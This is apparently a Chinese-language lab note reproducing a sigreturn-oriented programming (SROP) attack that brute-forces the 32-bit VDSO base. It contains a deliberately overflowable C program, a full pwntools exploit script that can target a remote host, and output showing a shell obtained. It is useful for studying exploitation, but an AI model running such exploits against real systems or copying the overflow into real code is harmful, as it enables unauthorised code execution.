1 概述
https://www.anquanke.com/post/id/85810
Sigreturn Oriented Programming攻击简介
这篇文章描述了32位vdso的爆破
本文是对它的复现和笔记。
2 32位VDSO的爆破
2.1 原理
32位的VDSO只有1个字节是随机的
vdso_range = range(0xf7700000, 0xf7800000, 0x1000)
2.2 程序
#include
<stdio.h>
#include
<unistd.h>
char buf[
10] =
"/bin/sh
\x00
";
void
vuln()
{
char s[
0x100];
puts(
"input something you want: ");
read(
0, s,
0x400);
}
int
main()
{
vuln();
return
0;
}
Makefile
build:
gcc -m32 -fno-stack-protector srop_test.c -o srop_test
测试环境:Ubuntu-16.04
2.3 EXP
from pwn
import *
import random
#context(os='linux', arch='i386', log_level='debug')
context(
os=
'linux',
arch=
'i386')
program_name =
'./srop_test'
binsh_addr =
0x
804a020
bss_addr =
0x
804a02a
vdso_range =
range(
0x
f7700000,
0x
f7800000,
0x
1000)
sigreturn_offset =
0x
ca1
#mov $0x77,%eax; int $0x80
syscall_offset =
0x
ca6
#int $0x80
def
exploit(
p):
vdso_addr = random.choice(vdso_range)
#vdso_addr = int(input("Please enter vdso addr: "))
print
"vdso_addr: " +
hex(vdso_addr)
payload =
'a' *
0x
10c
frame = SigreturnFrame(
kernel =
"i386")
frame.eax =
0x
b
frame.ebx = binsh_addr
frame.ecx =
0
frame.edx =
0
frame.eip = vdso_addr + syscall_offset
frame.esp = bss_addr
frame.ebp = bss_addr
frame.gs =
0x
63
frame.cs =
0x
23
frame.es =
0x
2b
frame.ds =
0x
2b
frame.ss =
0x
2b
sigreturn_addr = vdso_addr + sigreturn_offset
#print payload
payload += p32(sigreturn_addr) +
str(frame)
p.recvuntil(
"input something you want:
\n
")
p.sendline(payload)
sleep(
1)
p.sendline(
"echo pwned!")
r = p.recvuntil(
"pwned!")
if r.endswith(
"pwned!") ==
False :
raise
Exception(
"Failed!")
return
if
__name__ ==
"__main__":
i =
1
while
True:
print
"nTry
%d
" % i
try:
if
len(sys.argv) >
1:
p = remote(sys.argv[
1],
int(sys.argv[
2]))
else:
p = process(program_name)
exploit(p)
except
Exception
as e:
#print e
p.close()
i +=
1
continue
p.interactive()
break
2.4 测试结果
millionsky@ubuntu-16:~/tmp/srop_test3$ python srop32_crack_vdso.py
nTry 218
[+] Starting local process './srop_test': pid 26870
vdso_addr: 0xf7773000
[*] Process './srop_test' stopped with exit code -11 (SIGSEGV) (pid 26870)
nTry 219
[+] Starting local process './srop_test': pid 26873
vdso_addr: 0xf7742000
[*] Switching to interactive mode
$ whoami
millionsky
$ ls
core srop32_crack_vdso.py srop_test
makefile srop32_crack_vdso.tar.gz srop_test.c
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './srop_test' stopped with exit code 0 (pid 26873)
[*] Got EOF while sending in interactive
2.5 测试中的问题
在Ubuntu 16.04 64上测试32位程序失败(已经调整了/bin/sh,bss,sigreturn_offset,syscall_offset)
l 失败的原因在于main函数的栈溢出不好搞。Main开始对ESP进行了取整,EBP-4的地方存储的是addr_of_argc。Main的结尾,ESP是通过EBP-4处保存的addr_of_argc进行恢复的;
将漏洞代码放入单独的函数中时,爆破成功
3 参考文章
1. Sigreturn Oriented Programming攻击简介。https://www.anquanke.com/post/id/85810